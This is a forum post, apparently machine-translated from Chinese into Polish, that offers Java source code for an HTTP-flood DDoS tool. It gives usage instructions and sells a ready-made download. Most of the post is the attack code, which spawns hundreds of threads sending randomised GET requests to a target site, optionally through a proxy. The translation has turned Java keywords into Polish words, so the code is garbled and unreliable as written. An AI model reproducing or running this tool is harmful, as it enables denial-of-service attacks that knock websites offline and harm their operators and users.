|
|
Opublikowano 01.12.2014 15:21:57
|
|
|

Kod jar atak dDOS zaimplementowany przez Java. Jednak nie różni się od tradycyjnych dDos. To oprogramowanie to atak DDOS na stronę. Jak użyć: Java -jar ccddos.jar www.xxx.com 80 10/index.do nazwa użytkownika =xxx 80
[mw_shl_code=java,true]import java.io.IOException; import java.net.ConnectException; import java.net.InetSocketAddress; import java.nio.ByteBuffer; import java.nio.channels.SelectionKey; import java.nio.channels.Selector; import java.nio.channels.SocketChannel; import java.util.Iterator; import java.util.Random; import java.util.Set; import java.util.Timer; import java.util.TimerTask; import java.util.Vector;
/** * Nici demona
* * @author administracji
* */ Test klasy publicznej { prywatny String Host, uri, param; prywatny port interny; prywatny final Vector<CCDDOSThread> v = nowy Vector<CCDDOSThread>(); prywatny InetSocketAddress isa; prywatny int threadsCount = 500; Liczba wątków prywatny Losowy r = nowy Losowy(); prywatny długi czas na przerwę = 5000l;
/** * Otwórz atak */ public void start() { dla (int i = 0; < threadsCount; i++) { CCDDOSThread t = nowy CCDDOSThread(); v.add(t); t.start();
} Timer t = nowy Timer(); t.schedule(new TimerTask() { public void run() { int liczba = 0, wątki timeoutu = 0; long ct = System.currentTimeMillis(); dla (Iterator<CCDDOSThread> it = v.iterator(); it.hasNext(); ) { CCDDOSThread th = it.next(); if (th.isCancle() || !th.isAlive()) { it.remove(); th = null; liczenie++; } w przeciwnym razie jeśli (ct - th.rozpocznij > timeout) { Timeout, zewnętrzny koniec timeoutthreads++; th.setCancle(true); th.interrupt(); it.remove(); th = null; liczenie++; } } jeśli (count == 0) { wrócić; } System.out.println("Wątek został zamknięty:"+count+", gdzie wątek timeoutu jest połączony:" + wątki czasowe); dla (int i = 0; Liczę <; i++) { CCDDOSThread th = nowy CCDDOSThread(); v.add(th); th.start(); } } }, 0l, 100l); System.out.println("Wątek demona się rozpoczął:"); }
/** * @param args */ public static void main(String[] args) { jeśli (args.length < 6) { System.out.println("Instrukcje:"); System.out .println("java org.p3p.net.ccddos.Main <主机> <port> <同时开启的线程数> <URI> <参数> <连接超时> [<代理主机> <代理端口>]"); System.out.println(""); System.exit(0); } w przeciwnym razie jeśli (args.length >= 8) { Ustalcie się z agentem System.getProperties().put("proxySet", "true"); System.getProperties().setProperty("http.proxyHost", args[6]); System.getProperties().setProperty("http.proxyPort", args[7]); }
test m = nowy test(); m.host = args[0]; m.port = Integer.valueOf(args[1]); m.uri = args[3]; m.param = args[4]; m.threadsCount = Integer.valueOf(args[2]); m.timeout = Long.valueOf(args[5]); m.isa = nowy adres InetSocket(m.host, m.port); m.start(); }
/** * Wątki atakujące * * @author Zhanghongbo * */ class CCDDOSThread rozszerza wątek { prywatny kancle boole'a = fałszywy; public long start = System.currentTimeMillis();
public void setCancle(cancle boolean) { this.cancle = cancle; }
public boolean isCancle() { powrotny kółko; }
public void run() { long start = System.currentTimeMillis(); Selektor selektora; try { selector = Selector.open(); SocketChannel sc; try { sc = SocketChannel.open(isa); } catch (ConnectException ex) { System.out.println(ex.getMessage()); cancle = prawdziwe; selector.close(); wrócić; }
sc.configureBlocking(false); sc.register(selector, SelectionKey.OP_WRITE | SelectionKey.OP_READ); wait: while (selector.select() > 0 & !cancle) { if (System.currentTimeMillis() - rozpocznij > timeout) { cancle = prawdziwe; przerw czekanie; } Set<?> readykey = selector.selectedKeys(); Iterator<?> it = readykey.iterator(); while (it.hasNext() & !cancle) { if (System.currentTimeMillis() - rozpocznij > timeout) { cancle = prawdziwe; przerw czekanie; } SelectionKey skey = (SelectionKey) it.next(); it.remove(); SocketChannel scc = (SocketChannel) skey.channel();
if ((skey.readyOps() & SelectionKey.OP_WRITE) == SelectionKey.OP_WRITE) { String head = "GET " + uri + "?" + param + "&rndnum=" + r.nextInt() + " HTTP/1.1\r\n" + "Host: " + host + "\r\n" + "Połączenie:close\r\n" + "\r\n"; ByteBuffer bbf = ByteBuffer.wrap(head.getBytes()); scc.write(bbf); } skey.cancel(); scc.close(); } } selector.close(); sc.close();
} catch (IOException ex) { cancle = prawdziwe; } } }
} [/mw_shl_code]
Gotowy produkt i kod źródłowy do pobrania:
java ddos.zip
(8.42 KB, Liczba pobranych plików: 0, Cena sprzedaży: 2 Zbożowy MB)
|
Poprzedni:Porozmawiajmy o największym tajemniczym ataku DDoS 400G w historiiNastępny:Wyślij iPhone'a 6, aby porozmawiać o wersji bez artefaktów
|